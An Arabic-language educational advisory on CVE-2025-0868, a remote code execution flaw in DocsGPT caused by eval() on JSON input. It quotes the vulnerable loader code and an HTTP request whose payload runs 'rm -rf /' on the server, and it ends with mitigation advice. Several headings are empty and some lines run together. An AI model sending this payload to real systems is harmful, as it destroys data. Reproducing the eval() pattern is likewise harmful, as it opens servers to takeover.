
تقرير تعليمي لاختبار الاختراق يوضح استغلال CVE-2025-0868، وهي ثغرة RCE خطيرة في DocsGPT من خلال استدعاء eval() غير آمن في تحليل JSON، مع استراتيجيات التخفيف.
تم الكشف عن ثغرة خطيرة لتنفيذ التعليمات البرمجية عن بعد (RCE) (CVE-2025-0868) في 20 فبراير 2025، في مكتبة DocsGPT مفتوحة المصدر، ناتجة عن الاستخدام غير الآمن لـ eval() عند تحليل حمولات JSON.
التفاصيل الرئيسية:
تسمح هذه الثغرة للمهاجمين بتنفيذ تعليمات Python برمجية عشوائية عبر نقطة النهاية /api/remote. DocsGPT هي أداة ذكاء اصطناعي توليدي مفتوحة المصدر تتيح الاستعلام عن وثائق المشروع باستخدام نماذج GPT.
المتجه: AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:H
الدرجة الأساسية: 9.3 (حرجة)
مقاييس قابلية الاستغلال:
مقاييس التأثير:
توجد الثغرة في reddit_loader.py حيث تتم معالجة إدخال المستخدم باستخدام الدالة غير الآمنة eval():
def load_data(self, inputs):
data = eval(inputs) # تعليمات برمجية ضعيفة
client_id = data.get("client_id")
client_secret = data.get("client_secret")
user_agent = data.get("user_agent")
يسمح هذا للمهاجم بتنفيذ تعليمات Python برمجية ضارة داخل حقول JSON: POST /api/remote HTTP/1.1 Content-Type: application/json
{"data": "import('os').system('rm -rf /')"}
لاستغلال هذه الثغرة، قمنا بإعادة إنشاء البيئة الضعيفة ومساحة عمل آمنة باستخدام:
قمنا بتطوير نص برمجي بلغة Python ينفذ تنفيذ التعليمات البرمجية عن بعد (RCE) عن طريق إرسال حمولة ضارة إلى نقطة النهاية /api/remote، مستغلاً الاستخدام غير الآمن لـ eval().
/api/remote./api/remote.POST /api/remote HTTP/1.1
Content-Type: application/json
{"data": "__import__('os').system('rm -rf /')"}
قم بالتحديث إلى DocsGPT v0.12.1 والإصدارات الأحدث
استبدل eval() بـ json.loads().
الرابط:https://github.com/arc53/DocsGPT/blob/df9d432d29c1bbdf28abb3d35d129060b1964dd3/applicatio n/parser/remote/reddit_loader.py#L9
| الفئة | التفاصيل |
|---|
| معرف CVE | CVE-2025-0868 |
| البرنامج المتأثر | DocsGPT v0.8.1 – v0.12.0 |
| نوع الثغرة | تنفيذ التعليمات البرمجية عن بعد (RCE) |
| ناقل الهجوم | قائم على الشبكة (طلب HTTP إلى /api/remote) |
| السبب الجذري | الاستخدام غير الآمن لـ eval() على إدخال JSON غير موثوق |
| التأثير | اختراق كامل للخادم (تنفيذ أوامر عشوائية) |
| تعيين CWE | CWE-77: تحييد غير صحيح للعناصر الخاصة المستخدمة في الأمر |